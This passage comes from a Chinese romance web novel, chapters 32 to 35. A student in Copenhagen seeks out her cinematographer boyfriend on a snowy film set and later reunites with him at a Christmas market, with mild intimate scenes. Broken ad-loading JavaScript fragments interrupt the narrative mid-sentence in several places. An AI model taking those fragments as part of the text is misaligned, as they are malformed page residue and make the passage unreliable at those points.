天不落雪,她只好人工降雪。 丹麦境内的火车几乎不会有车票售罄的情况,但保险起见,龙秉月上网站确认了一下。 嗯,余票充足,也没有停运。 然后给男朋友发短信:【今天晚上可以见你吗?在你下工后。】 【绝对不打扰你工作,只去睡一觉,明天一早就走。】 安宴大概正在拍摄中,迟迟没有回音。 龙秉月想,如果午饭后还没有收到回复,她就直接冲了。 只是一个晚上,他应该不会拒绝吧? 他肯定也很想念她。 - 到了午后,龙秉月手机里依然没有进来新消息。 往常,如果能正常吃上午饭,安宴会给剧组工作餐拍照发给她,分享日常。 迟了说明进度落后,午饭又没法按时吃。 真辛苦啊,她总是感叹。 之前不工作时赋闲在家看着很爽,现在工作了就要拼命一般。 龙秉月简单收拾了一个双肩包的行李,穿上棉服,背上包下楼。 伊莎贝拉正在客厅看电视,见她要出门,随口关心道:“这样的天气,你要出去玩呀?” “是噢,我去朋友家打麻将,今晚可能不回来了。” 龙秉月自然没敢说实话,但这也不全是谎言,因为她上周末确实这么做了,只是没有过夜而已。 一步一个脚印,踩在院子里的薄雪上,发出轻微的咯吱声。 ——像思念被踩死前发出的尖叫。 她不该这么想的。 仿佛心有灵犀一般,刚刚走出院门,到了没有积雪的马路上,鞋子上沾到的雪纷纷融化在水里,她收到安宴的消息。 也不是完全没有料到,所以她心情还算平静,读完消息没有装死,体贴地回了个“OK”。 把手机插到口袋里,继续朝地铁站的方向走,“去朋友家”。 喻琳没在家里,这才是让龙秉月意外的。她往日最讨厌雨雪天气,怎么偏偏在今天出门。 只能说人在不顺的时候事事都不顺。 尽管如此,在完全属于自己的小房间里,在没有安宴气息的地方,龙秉月感到她的意识回来了一点。 不再盘旋在他人的头顶。 - 雪一天比一天大,到了星期二,积雪已达到几厘米厚,可以把大半只脚埋进去。 清晨,在同一个位置,龙秉月抹开窗上的水雾,望向窗外。 这一带居民区的房子本就都是三层以内的小楼,在白雪覆盖下,更逼近童话仙境,也衬托得她的心情更加落寞。 好想安宴。 好想好想好想。 只远远看他一眼就好。 不需要他知道,也不会影响他工作。 念头落地,生根发芽,再难掐灭。 哪怕今天下午有一门课。 好在没有点名这种东西;同学们课堂参与度高,老师也不需要点人互动。翘了也没有影响。 九分冲动,加一分两天前被拒绝激起的逆反心理,再加十万分的行动力,让龙秉月义无反顾地踏上了旅途。 从哥本哈根中央车站,乘坐火车一个多小时,就到了欧登塞站。 剧组目前从欧登塞市转移到了伊比斯镇,到那里则没有特别方便的公共交通。 龙秉月想叫网约车,软件上一直没人接单,想来是因为天气恶劣。 最终,她别无选择,坐上了出租车。 欧登塞市区到伊比斯,要跨越半个菲英岛,从东边到西北。 平时不到一小时的路程,今天硬生生开了一个半小时,计价器跳得比她的心跳还快。 下午三点左右抵达,距离日落只剩不到一小时。 但不管它落不落,天空中都是看不到太阳的,一片灰蒙蒙。 小镇十分安静,路上人影寥寥,龙秉月从头到脚全副武装给自己保暖,在雪地里没走几步就冷了。 她只知道剧组在伊比斯,没问过具体的拍摄地点,当下只能漫无目的地乱逛,期盼偶遇。 然而,直到她把每一条街道都踏过两遍,直到夜幕完全降临,她都没有找到一丝剧组的踪迹。 明明该是很显眼的,远远一眼就能认出的剧组啊。况且这镇子又那么小。 也许这就是命。 无论事先告知或不告知,他们总是没机会在这里相见。 已经好近好近了,还是要错过。 风钻进领口,雪钻进靴子,抬头看见路灯灯光下雪花乱飘。 龙秉月认命地想,没办法就是没办法,见不到就是见不到,不能逆天改命。 - 从天黑到一般的晚饭时间,其实相隔着两小时。 龙秉月厌倦了阴冷的天气和无望的寻找,早早进了一家营 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 业中的小酒馆。 室内的暖气和火炉,瞬间让她复活。身体上的舒适大大缓解了心灰意冷。 店里顾客不多,她安静地吃着饭,可以听到不远处另一桌客人小声的交谈。 起初她没在意,她不会主动解码丹麦语,但是渐渐地,一些关键词钻进了她的耳朵。 “剧组”“小孩”“电影”。 没错,安宴正在拍的电影的主角,就是青少年。 龙秉月放下刀叉,假装在浏览手机,实际竖起耳朵聆听。 考验丹麦语听力的时刻到了,她有点后悔这学期没有继续选《丹麦语3》的课程,现在听得十分艰难。 那桌客人的话题也转移得快,最终她断断续续地,拼凑出“看到剧组正在海边拍摄”的有效信息。 本来想再询问确认一下,后来又决定还是交给命运吧。 说实话,经历了大半天的折腾,她自己都不确定究竟想不想见到了。 也许一而再再而三的挫败就是想要告诉她,这一面不见为好呢? 吃完饭,龙秉月又买了一罐啤酒,一边踩着厚厚的积雪往海边走,一边喝着酒暖身子。 路灯下的影子变长又变短,变短又变长。拿手机和拿酒的手,长得几乎一模一样,左右相碰就是干杯了。 她今天难得露出了笑容。 下午就有去过海边,可惜一无所获。这时再站在同一个地方放眼望去,还是没见到人影。 海滩上同样积着厚厚的雪,在黑暗中显得阴森可怖,踏上去似乎就会进入异世界。 龙秉月打开手机闪光灯照着,沿着痕迹最深的脚印走了过去。 “喂!你要干什么!”背后猛然传来一声大吼。 她扭过头去,光打在那人脸上——是个正常人,不像鬼,不像坏人。 “孩子,你不是想不开吧?黑漆漆的雪夜一个人去海边,多危险呐。”好人阿姨说。 看见是亚洲面孔,说完丹麦语又用英语说了一遍。 “没有没有。”龙秉月赶紧解释道,“我听说有剧组在这里拍戏,很感兴趣,想观摩一下。” “这里?你莫不是冻傻了?剧组要在的话,你大老远就能看到灯光了,现在你瞅瞅,哪有呢。” “啊……” 她好像真的冻傻了,就是说啊,剧组怎么可能摸黑拍戏。常识被冰封了,好丢脸。 “我是想沿着海岸线找找……”她试图给自己挽尊。 “喏,他们在这里。”好心人打开地图软件指给她看,“你就沿着这条路往西走,看到海边灯火通明的地方就是了。” 镇子毕竟小,拍摄的信息一传十十传百,人们多多少少都听说过一点。 “好的,谢谢。谢谢!非常感谢!”她一连道了三遍谢,甚至还鞠了一躬。 起身后,面部表情都变得明媚起来。 龙秉月轻松地和阿姨道别,雀跃着一蹦一跳走了几步后,不得不屈服于湿滑的地面,慢了下来。 她无奈地撇撇嘴,伸长脖子看向前方,期望光亮早点照进眼里。 33. 第三十三章 有了目标,有了希望,两公里雪路都变得好走,寒意也被激动的心情稍稍驱散。 看着地图上不断逼近的那个点,龙秉月莫名产生了近乡情怯的心情。 但是没关系,她对自己说,只是远远地看一看安宴,不告诉他,不用担心。 拍摄中的剧组的确足够显眼,尽管他们的小班底加上演员也才二三十个人,但布景、打光都没有省着,龙秉月相隔一定距离就注意到了。 她很快发现掌镜的安宴,悬着的心落了地。 她真的不贪心,能亲眼看到他就知足了,不会在看到后想要更多,想被他也看到。 附近只有一家还在营业的酒吧,冷冷清清没什么生意,龙秉月走进去,成为唯一的顾客。坐在窗边,正好可以望见海滩上的剧组。 她看到安宴在片场的样子,看到他和导演吵架,看到他和导演和主演在拍摄间隙一起走到没人的地方抽烟,看到很多她不曾见过的切面。 他看起来比他说的还要忙碌。 中途,有几个剧组的人进来买酒,龙秉月听到他们说今天可能要拍到午夜,趁雪多赶进度。而且大家都希望能在平安夜前杀青,之后雪化了可能还要加班。 他实际上好像比他看起来还要忙碌。 低头,龙秉月想起她还没有订晚上的住宿。虽说不贪心,但肯定也考虑过,如果偶遇安宴没准可以睡他那里。 现在看来,偶遇不了了。 她打开Booking检索附近住宿,发现镇子上只有唯一一家三星酒店,其他住宿都叫“公寓”或“旅馆”,而那家三星酒店,点进去看装修明明更像披着酒店皮的民宿。 即便如此,也要将近一千一晚。 所以之前安宴让她别来的时候,说“这里条件差,怕照顾不好你”并非借口,剧组住的地方恐怕更简陋。 龙秉月仔细比对着不同住宿的图片和住客评价,没注意一道黑影落在窗前。 订完一抬头,心心念念的人就站在前方,隔着玻璃。 她猛地站起来,准备出门找他,安宴却摆摆手,示意她等着,他进来。 两人异口同声:“你怎么来了?” 龙秉月:“我只是想远远看你几眼……是不是打扰你了?” 安宴:“摄助说在买酒的店看到个亚洲女孩,我在想会不会是你……以为是痴心妄想,没想到幻想成真。” “没有,没有打扰,怎么会打扰。”安宴否认三连,“只是马上又要开拍了,没法在这里陪你。” “不用啊,我自己静静看着就好……等等,你吸了很多烟吗?”龙秉月闻到一股明显的烟味,只抽一两支不可能留下这么重的味。 安宴往后退了两小步:“对不起,组内社交需要,陪了几支。主要还是沾了他们那些烟鬼的味。我不会在你身边抽的。” 龙秉月一把抓住他的手腕,又把他拉近:“没事,我不讨厌烟味,你别跑。” 触感似乎不太对——他的左手手腕,绑着丝巾。 怎么回事,之前视频的时候,他不是早就证明过红痕消了吗? 她很快想到老板还在吧台,又把手松开。 安宴主动解开丝巾,露出完好的手腕:“没骗你,真的早好了。最开始两天绑了丝巾觉得挺舒服,还比护腕好看,就一直绑下去了。” 剧组休息时间短,他们没有说上多少话,安宴就不得不回去了。 离开之前,他叮嘱道:“你累了可以先回酒店休息,我结束了去找你。” 龙秉月表面上应着好,实际当然要一直看着他。 她花这么多时间,费这么大功夫才见到他,少一分一秒都不行。 - 拍摄没有进行到之前所说的午夜,十一点出头就结束了。 龙秉月看到安宴送剧组人员上车,然后朝她的方向走来。她订的酒店就在几百米外,可以直接步行前往。 这次,她明显感觉到,相比几小时前的短暂碰面,安宴的情绪格外低落。 人就在她身边,却好像不在身边,魂依旧飘在那片海滩上,留在虚构的故事里。 换句话说,他似乎入戏太深,没有出戏。 记得之前问过安宴这部电影是讲什么的,他简单地概括为“青少年公路片”。这会是一个非常悲伤的故事吗…… 凝滞的空气中,龙秉月没有开口讲话,默默牵上安宴的手。 他的手好冰好冰,对于在室内暖和了几小时的她来说,比寒风还要凛冽得刺骨。 安宴知道,但没有松开。他的身体和精神,都在贪恋着这点温暖。 龙秉月拿不准怎样才能帮他排解负面情绪,又或许,这种情绪对创作是有助益的,不需要排解? 她能做的,只是握紧他的手,自己另一只手也覆了上去。 “我给他们说的是妹妹来了。”在路上,安宴打破沉默。 经久不衰的兄妹情趣……龙秉月知道,他是在照顾自己暂时不想公开的心情。 “他们怎么说?” “根本没人多问。”安宴语气平淡地回道,“因为到了晚上,大家都疲惫不堪了。” 累得不再摄取外界无关信息,累得不想多说话。 “对不起,我好像不该来……” 龙秉月有点厌弃自己,不仅在不合适的时候过来,还忍不住在不合适的时候道歉。 不过,两人平时联系,确实是报喜不报忧。她天真地以为他的拍摄没那么辛苦。 现在想想,这种为对方考虑的心情,反而造成了两人一直以来只有同甘,尚未共苦,分担忧愁的经验寥寥。 “你不要道歉,我好开心的,今天拍摄效率高都是多亏了你。”安宴声音透着疲惫,笑容显然发自真心,“而且你是独立的个体,想做什么就做什么,不需要听我的。” 道理龙秉月都懂,心里想的却是,他已经够累了,还无端多出了安慰她的任务,唉。 进到酒店房间里,安宴松开牵在一起的手,面对面把龙秉月抱在怀里。 声音从她的头顶传来,接着先前的话:“我前两天只是怕你来了不开心,是我的错。我以后不再假设你的心情了,你也不要假设我的心情,好吗?我们都诚实做自己,不让对方假设。” “好。那你不要只报喜不报忧,拍摄的辛苦也要告诉我。” “忧?辛苦?拍电影累是挺累的,但我很享受,有干劲,不觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦。” 好吧,看来只有她这么觉得,而且刚答应了不假设,立马就假设了他辛苦…… 也只有她报喜不报忧。 她得好好理一理自己的思路了,比如在洗澡的时候。 “我要洗澡了。”龙秉月从安宴的怀抱里出来,说完想到累了一天的他可能更需要,就问他,“你要先洗吗?或者一起?” 她发誓,她只是觉得一起洗更快,节省时间,可以早点睡觉。没有任何别的心思。 安宴说要诚实,是真的说到做到:“我今天可能没有那个兴致。” 疲劳倒是次要,情绪还留在电影里也不重要,主要是觉得天时地利人和实在一个都不占:时间不凑巧,地方条件一般,他们好久没有过了,无法尽兴恐怕会更难受。 “……你怎么又假设呢!”龙秉月知道情侣间邀请一起洗澡几乎只会指向一种意思,但是强词夺理道。 搞得她像个如饥似渴的女人似的,他都累成这样了,她还要榨干他最后的精力。 “这可不是假设,你想想哪次没擦枪走火。”安宴轻松反驳。 行吧,他倒也没说错。 接着安宴又说:“我先洗吧,暖气刚打开,你晚点洗出来更暖和。” - 等两人都洗完澡躺到床上,龙秉月按下安宴准备关灯睡觉的手:“晚安吻总可以有吧?” 安宴的手收了回来,人也躺了回去。 两个人面对面侧躺着,谁也没先主动。凝视着彼此的眼,等待一个契机。 龙秉月撅起嘴说“亲亲”,然后闭上了眼睛。 吻落了下来,干燥的嘴唇碰撞在一起,表面互相碾压,没有深入。 一秒,两秒……结束了。 肯定没有三秒,安宴的唇就撤退了。 太克制了吧……龙秉月不禁怀念起曾经因过于频繁的亲密而引发的忧虑,那时可真是身在福中不知福。 现在嘴唇干巴巴的,心也有点干巴巴的。 她缓缓睁开眼睛,发现,比男朋友兴致不高更可怕的事情出现了。 ——男朋友在和自己接吻的时候,睡着了。 老天奶,该说自己小瞧了他的劳累,还是高估了自己的魅力? 龙秉月试探性地又亲了亲安宴,睡美人没有被吻醒,依然沉睡着。 她大胆起来,既然不会影响他休息,那就再深入一点、再多亲一会吧——捧住他的脸,吮他的唇瓣,吻得湿湿亮亮。 安宴仍然没有醒的迹象,现在她知道答案了:她是小瞧了他的劳累。 暖气开到高温的室内异常干燥,龙秉月小心翼翼地从床上下来,在双肩包里找到润唇膏,轻轻涂在安宴的唇上。 - 第二天,龙秉月醒来的时候,被窝旁边已经凉了。 晚睡早起的安宴在床头柜上留下了手写消息,他要继续拍摄了,抱歉没法陪她。 用的是酒店的纸,唇膏压在上面,防止她没看到。 她下意识摸了摸自己的嘴唇,好像不久前才被涂过一层唇膏。 睡前以为自己大费周章过来,接一个三秒不到的吻。 现在看来,似乎也不是那回事嘛。 34. 第三十四章 龙秉月从伊比斯的酒店退房离开,时间堪堪过了早八点钟。 天刚蒙蒙亮,海岸上笼罩着一层薄雾。不管朝哪个方向看,景象都是晦暗不明的。 她没怎么犹豫,就叫了车离开了。 安宴既然没主动说他在哪,她最好别去添麻烦。况且,见到他只会更加舍不得,而她要早点赶回哥本哈根实习。 ——她当然有工作和学业要忙,却到昨天才清清楚楚地意识到,之前庆幸两个人的闲和忙是同步的,根本是自以为是。 人家和自己完全不是同一种忙。她只是不闲,但他是忙到脚不着地。一比较,她都不好意思再说自己忙了。 这还只是相隔很近的异地,若以后两人真能走下去,要面临的是更久更远的异国。 这还只是小成本独立电影的拍摄,等他以后更出名了,指不定多久才能闲下来一次呢。 说到底还是两人恋爱的起点太高了,甜到发腻,往后只有稀释的份。也是在稀释后,品出来甜味以外的味道。 出租车缓慢行驶在公路之上,两侧森林比海边雾色更浓。龙秉月不想把这比作未来,它更像当下的隐喻。 她一向擅长做短期规划,对长期规划往往无能为力,笃信再周全的计划,也敌不过不可抗力。 不知道做什么更好的时候,就按兵不动吧。 - 那天在伊比斯海滨酒吧听到的剧组人员谈话没有说错,大部分演员在平安夜之前杀青了。 尚未杀青的人,也得到了两天的圣诞假,从23号下午到25号下午——平安夜是家庭团聚的日子,对很多欧洲人来说,比圣诞节当天更为重要。 放假时间到最后一刻才定下来,安宴怕给人希望又让人失望,没有提前告诉龙秉月。 确定时间后,他决定直接出现在龙秉月面前,给她一个惊喜。 他忘了,她说过她不喜欢在行程上搞惊喜。 晚上接到安宴电话的时候,龙秉月正和喻琳在广场上逛圣诞集市。 哥本哈根有大大小小的十来个圣诞集市,分布在城市的不同区域,各有各的特色。 她们逛的这个,特色在名字叫“汉斯·克里斯汀·安徒生圣诞集市”,每个摊位都是以安徒生童话故事命名的,并且专门有人扮成安徒生,供人们与他合影。 而其中最引人瞩目的,和安徒生并无关系。 集市主办方临时架起了高高的摩天轮,从十一月初开放到十二月底。为不到两个月的游乐花费如此功夫,实在奢侈。 上面挂满了LED彩灯,不断变换着颜色和图案——星星,拐杖,圣诞帽,当然还有丹麦人最爱的心形。 喻琳在“卖火柴的小女孩”摊位挑到了一支鼠尾草味的香薰蜡烛,刚开口问龙秉月“这个好好闻,你要试试吗”,就看到她对着手机屏幕上跳动的来电发呆。 【安徒生拒绝/接听】(中文) “哟,电子宠物活了?”喻琳戏谑道。 她知道这个备注是龙秉月的男友,但从未听好友提起男友的真名,只当好友幼稚,把男友想象成童话制造者,殊不知这就是人家货真价实的姓氏。 这两个月里,她没少见龙秉月魂不守舍,也没少化身吐槽役,说一些譬如“男人外出工作做什么?当好家庭主夫才最重要”“不为伴侣放弃自我的男人不是好男人”之类的话。 但是有用吗?没有用。 安宴又听不到,而有的人在一方面改了好学生心态,转身在另一方面开始当好学生:当满分女友。 龙秉月朝喻琳摆摆手:“我去边上安静的地方接电话。” “喂。”她在快要自动挂断之前按下接听,集市边缘不似摊位旁边暖和,张口说话,会呼出来白色的哈气,袅袅上升然后消散。 “怎么不在家?”安宴上来就问她。 这问题听得她莫名有些恼火。那是他的家,他自己都不在,竟然还反问她。 她没忍住拔高声调:“你就在了吗?” “嗯。” 嗯什么嗯……等等,是她想的那个意思吗,突袭? 她一时间没有说话。 安宴接着说:“现在在哪里?我去找你。” “我有点忙,可能抽不出来空。” 一个月不见,龙秉月感觉自己还没做好重逢的准备,以及重逢后马上又要分开的准备,开始找借口拖延。 “我只回来这一个晚上,你不想见我吗?” 其实明晚也在,但是有不能推脱的家宴。为了见面,安宴不介意撒点无伤大雅的小谎。 谁知道对方不吃这一套:“就一个晚上那更没必要了啊,你们不是下周就全部杀青吗?已经等五十天了,再多五天又何妨。” 深呼吸后,龙秉月缓缓说出真心话:“我好不容易克制住想念,一见面就功亏一篑了。我很贪心的,我不想只得到三根火柴,我要一整个冬天的火炉。” 白色哈气不断从口中冒出,遮挡住了她看向“卖火柴的小女孩”摊位的视线。在雾气之后,集市的灯光更朦胧,好像也更美了。 龙秉月以为安宴不会轻易放弃,两人还要一来一回掰扯几个回合,而最终她会屈服。 但事实并非如此。 安宴只说了“好”,然后挂断了电话。 突然结束的对话让龙秉月愣在原地,茫然地盯着手机看了又看,没有回电,想必不是手抖挂断的。 她又专门呼出了几口气,看它们迅速飘散。散开后,眼前摩天轮彩灯的图案变成了一只奔跑的驯鹿。 驯鹿的动作是跑,实际上一丁点都没有移动,从始至终困在摩天轮里。 和她此刻的行为一样,构成了一些无意义的意义。 - 逛完所有摊位后,龙秉月在路边和喻琳道别,她们要走不同方向去坐车。 没走几步,她抬头看见安宴站在前方对她笑。 从电话突袭升级为行动突袭……他怎么总能找到她? 她的第一反应,是把手伸到大衣口袋里,拒绝的意味很明显。明明都戴着手套了,谁还会这么干啊。 怎么说,她绝对不希望在这种场景下时隔一月再见。气氛有点尴尬,男友看起来也有点陌生。 两个人都一动不动,也不讲话。龙秉月又有点恼火,不让来偏要来,来了又不主动。 她转身朝着集市的方向往回走。如果他要跟上来,那他就跟上来吧。 意料之中,安宴追了上来。 意料之外,安宴没有搞那种从后面抱住她的戏码,安安静静和她并肩。 她不说话,他便也不说话。 绕着集市走了一圈后,龙秉月终于忍不住先开口:“你想干什么?” “点燃火炉需要引信,我想用火柴点。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他真是擅长顺着她的歪理讲歪理,但是二十一世纪了,可不可以用下电火炉? 龙秉月继续盘问:“你怎么找到我的?” “‘摩天轮60克朗一个人’。” “什么?”他想坐摩天轮吗? “电话里听到了广播声。” 不愧是了解哥本哈根每一寸土地的人,安宴走的时候圣诞集市还没开起来呢,忙成那样也不忘关心老家动态。 龙秉月机械地点点头:“哦。” 问完好奇的两个问题,她不知道该继续说什么了。 仍然感觉有点尴尬,有点陌生。 安宴接下了主导话题的任务:“想坐吗?”(takearide) “什么?去哪里?”龙秉月以为他要开车兜风,或者是坐旋转木马——很多圣诞集市有,但这里并没有。 “摩天轮。”安宴以为她到处看又是在担心现场有熟人,伸手把她大衣的帽子给她戴上,围巾围上嘴巴,“放心,伪装很成功。” 龙秉月拉下围巾,轻呼一口气,小声说:“好吧。” 她百口莫辩,主要是不好意思辩,大脑突然卡壳没反应过来坐摩天轮也是用ride这个词…… 找点事做,比干站着强。 摩天轮生意一般,完全不用排队。不知道是宣传不力,体验不够好,还是它本来就是起到一个造型的作用。 龙秉月和安宴上了一间,上升几米后她好像有点明白了:风太大了,太冷了! 每一间的上半部分,除了顶,都是镂空的,完全不挡风。她站在里面,头发被吹得乱七八糟,拢也拢不齐,偏偏她没带皮筋。 不过风大也有一个好处,那就是吹得人张嘴费劲,不说话倒显得没那么尴尬了。 龙秉月就这样在头发的缝隙中,偏头看着下面的童话摊位越来越远。 上到中间高度的时候,她实在冷得受不了,心一横扑进了安宴的怀里。 紧张得心砰砰跳,像是回到在一起的第一天。许久没做的动作,生疏了。 对了,那天也坐了摩天轮来着。当时期待他会吻她,结果他毫无此意。 今天没有什么期待,只想取暖,先满足最基本的需求。 “既然你主动了……” 在狂风呼啸中,龙秉月没听清安宴的话,也来不及听清了。 听觉、视觉、嗅觉纷纷退下,一切感觉都集中在唇部。 安宴毫不客气地撬开她的齿关,长驱直入,不留一丝拒绝的余地。 他一只手捏着她的下巴,方便他深深索取。另一只手抚上她的后背,狠狠按向他自己,仿佛要把她揉进他的身体。 这下,她不仅嘴上被掠夺了气息,挤向他的身体好像也把肺部压扁,难以呼吸。 缺氧的大脑不再思考,任凭本能带领她沉迷于久违的享受。 长发仍在风中飘舞,无力地拍打着嘴唇相交之处。可它们吸得牢牢的,一点都打不动。 到最后,连风都为他们变温柔。黑发顺着肩背落下,扑在覆盖其上的那只手上,挠痒痒一般挠着他的心。 快下降到地面时,安宴终于放开龙秉月。但只是嘴放开嘴,身体依旧霸道地贴在一起。 龙秉月好不容易恢复了思考能力,第一个思考出来的结论是—— 什么尴尬,什么陌生,原来亲一顿就都好了。 35. 第三十五章 从摩天轮下来,安宴的胳膊仍然环在龙秉月身上,把她牢牢固定在身边。 “哎,你压着我头发了。”她抱怨道。 “怎么不扎起来?刚才在摩天轮上……” 龙秉月猜到安宴要说什么,立马打断:“没带皮筋……算了,我去摊位上买一包吧。” 她才逛过,记忆力又好,很快找到了专卖小玩意的“拇指姑娘”摊位,拿下一包带圣诞装饰的皮筋。 安宴主动请缨:“我来帮你扎吧。” 龙秉月挑了挑眉:“你还会扎头发呢?” “当然,我可是留过长发的。” 对哦,龙秉月想起来了,之前看安宴从小到大的照片,见过他高中时的长发造型。在多张照片里,他的头发都是扎起来的,露出棱角分明的脸。 她把刚买的皮筋递给安宴,让他自己挑选。他从里面拿出了一根姜饼人的,一根圣诞树的。 怎么要用两根? 龙秉月甚至都不需要问,答案就马上揭晓——他给她扎了双马尾。 现在的她看起来,比高中生还要年轻。在想象中把她和高中的长发安宴拼贴起来,好般配。 “走吧。”安宴又搂上她。 龙秉月顺其自然,毕竟大过节的,让让他吧。 集市旁边的商业街好多天前就挂满了圣诞彩灯,一串串横跨路面,每一串正中间都是红色的心形灯。 现在时间已晚,又是假日之前,所有店都关着门,街上目之所及只有他们两人。 安宴掌控着步行的方向和节奏,龙秉月没问他怎么来这里了,权当他头脑不清醒,大冬天想在没人的地方散步。 深入街道,集市的热闹彻底消失在视线之外,安宴闲着的那只手从大衣内侧的口袋里掏出一个东西,递给龙秉月。 一颗皱巴巴的折纸“圣诞之心”。 “这是什么?车站架子上拿的圣诞广告吗?”龙秉月翻来覆去地看,什么字也没看到。 “……”安宴佩服她的思维发散能力,“今天大家一起在剧组叠的。再说,我是开车回来的,没去过车站。” “你怎么把它搞得皱皱的,只管生产不管养护啊。” “我搞的?不,是你。” 安宴从龙秉月手里拿回圣诞之心,轻轻贴在她大衣的扣子上,唤醒她新鲜的回忆。 方才接吻的挤压中,圣诞之心被迫变皱了。 这锅甩得龙秉月无话可说,从安宴手里一把抽出圣诞之心,塞进她的包里。然后懒懒地靠在他怀里,不搭理他了。 走过商业街,冷清的氛围总算被灯火辉煌取代。一家大酒店直直伫立在面前。 安宴搂着人直接往里拐:“晚上跟我一起睡在这儿?” 嘴上在征求意见,行动却已经替对方做了回答。 “过节呢,有家不回?”嫌节假日酒店生意还不够好是吗,上赶着来送钱。 “明天才过节啊。”安宴抠起字眼来。 肩上的手上移到耳畔,他低头亲了亲龙秉月的额头,悄声说:“他们都以为我明天才回。” “行啊你,大骗子!骗我说只有今晚在,骗家里说只有明晚在,两头骗是吧?”龙秉月瞪大双眼,装出一副要干架的姿势,从他怀里挣脱出来。 但身体没有迟疑,跟着他进了酒店电梯。 刷卡进了房间后,安宴躺倒在套房客厅的沙发上,开始卖惨:“今天早上开始拍摄,下午拍摄完就立即开车回来了,回来就立即去找你了,我要累瘫了。” 他朝龙秉月伸出双手:“宝贝,来陪陪我,让我放松一下。” 龙秉月不由得吐槽:“你都躺下了,还不够放松吗。” 她没顺着他的心意投入他的怀抱,而是走到沙发后方,让他坐起来,给他捏肩。 力道很轻,对于缓解肌肉疲劳只能说聊胜于无,时间久了倒可能起反作用,在肌肤相触中传递一些酸软的感觉。 安宴仰头靠在沙发靠背上,龙秉月站在他的背后,双手抚着他的双肩。 对他们来说,这是一个很新的姿势。 龙秉月突发奇想,稍稍下蹲,近距离打量着安宴倒过来的脸。 以这样的姿势,附身吻上安宴的唇。 她的鼻尖顶着他的下巴,他的鼻尖也卡着她的下巴。 只是脸反转过来而已,双脚明明稳稳地站在地上,龙秉月却感觉世界倾倒,吻得晕晕乎乎。 停下来喘息的间隙,安宴站起来,隔着沙发把她抱了过来,让她跨坐到他的腿上,以正对着的姿势继续吻,不要停。 龙秉月同样不想停下。 先前在摩天轮,力度上十分过瘾,时间上只有零点一分过瘾。 倒着接吻新奇刺激没错,现在恢复常规的姿势,就会明白常规之所以能成为常规,是有其道理的。反常规只能作一时的浪漫。 直到某处的存在感变得完全不可忽视之时,这场唇舌的深入交流才被叫停。 “你累了,我们应该早点休息。”龙秉月说。 “一起洗澡?”安宴回得牛头不对马嘴。 “你累了呀……”龙秉月复读。 安宴把她抱得紧了点,耳语道:“总要解决了才能休息。” 龙秉月稍稍退开,双臂抵在他的胸膛上:“自己的问题自己解决!” 说着,便准备从他身上下来。眼神一个没忍住,又瞟回了他的腰下方。 看到这一幕,安宴的笑意更深了:“帮帮我,女朋友?我胳膊扛了好多天摄影机了。” “哼,抱我的时候也没见你胳膊酸。” 龙秉月留下这句话和一个背影,脱掉外面的衣服,只穿着贴身衣物进了浴室。 安宴跟着她做了同样的事。 - 第二天,两个人一起惬意地睡到了日上三竿。 龙秉月躺在床上舒舒服服地神了个懒腰,发出满足的喟叹声。也是在这时,清晰感受到了小臂的酸痛。 好陌生的感觉。 以前再怎么样,安宴都会带着她,昨晚非要她“出师”,从头到尾自己把握节奏,硬生生把战线拉长了一倍。 她真不该相信他口中的“累”——真正的累不需要说,接着吻就会睡着;虚假的累不断重提,为的就是哄骗她。结果最后累的是她。 龙秉月率先起床,顺便叮嘱安宴:“你下午早点回去吧。我看你根本不累,回去帮你爸妈准备圣诞大餐。” “你呢,一起回吗?” “我不回了,直接去找朋友。我们也要准备晚上的聚会。” 原因只说了一半,另一半是她明显还穿着前一天的衣服,虽然冬季连续两天穿同一身很常见,但终究小心为上,和安宴一起回去太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可疑了。 “你晚上不跟我们一起?”安宴接着问。 “拜托,你们那是家宴诶……” 龙秉月以为安宴会反驳说“你也是我的家人”,思索着作何反应比较恰当。 但他没有说。 好吧,白紧张了。 “你们晚上结束了我去接你。”安宴没等她拒绝,就先把话说了,“不准拒绝。” “我们估计要到后半夜了,你不是累吗?”龙秉月抓住“累”这个字眼。 “后半夜就更要去接你了。” 哥本哈根的地铁二十四小时不间断运行,聚会和安宴家附近都有地铁站,无论几点,她回去都不会是太麻烦的事。 其实原计划平安夜住在自己公寓的,温存过后心中满是依恋,才开始摇摆。 安宴的磁力太强,牢牢吸住她,使她每次都摆到他那边。 从酒店出来,龙秉月拒绝了安宴送她去聚会地点的提议。她已经霸占了他一个晚上,应当早点让他回归家庭,在这家庭团聚的节日。 外面的街道似乎比昨晚还要凄冷,商户都没有营业,行人依旧寥寥。未开的圣诞彩灯在阴天下更显寥落。 人们提前一个多月挂出彩灯,摆出巨大圣诞树,在城市的角角落落营造圣诞气氛,却偏偏在最该有气氛的平安夜和圣诞节,不出门欣赏这些东西,留它们孤苦伶仃地闪着光。 - 留学生们常常自我打趣,公寓不允许举办派对,但是中国学生除外,因为中国学生的派对就是一群人涮火锅,不吵不闹,和谐友好。 龙秉月要去的平安夜聚会,正是发挥了这种传统艺能。 参与者是上个学年和她住在同一学生公寓区的朋友们,这一年虽然住得分散了,但仍然经常抽空联络感情。 曾经的群名【一觉睡到大中(5)】,经过无数次更新换代,现在叫【MERRYXMA(5)】。用形状相近的数字5代替字母S,组成“圣诞快乐”。 其中一位家中客厅最大,聚会地点便定在了她家。加上她的室友一共六个人,涮火锅加玩桌游,嗨到了凌晨三点。 有两个人打算留宿,而喻琳听说安宴要来接龙秉月,毫不犹豫地决定——蹭车。 她坐上后座,还没坐稳,还没等安宴先自我介绍,就忙不迭即兴念起了绕口令:“你好,你就是月月的妈妈的大姑父的哥哥的表侄的表侄吧?久仰久仰。” 随口一个胡扯,保准绕晕外国人。 安宴懵了,什么玩意? 他一时间没搞懂其中的弯弯绕绕,但自然知道这些都是亲戚关系。 本来在收到龙秉月消息“可以顺路送下我朋友吗”的时候,他心花怒放,以为自己终于要有名分了。 结果,结果。 于是他配合地淡漠点点头,没有说话。既然她不希望露馅,那么他少说少错。 搞得喻琳也懵了,这高冷形象和龙秉月平时描述的那个人完全不符啊? 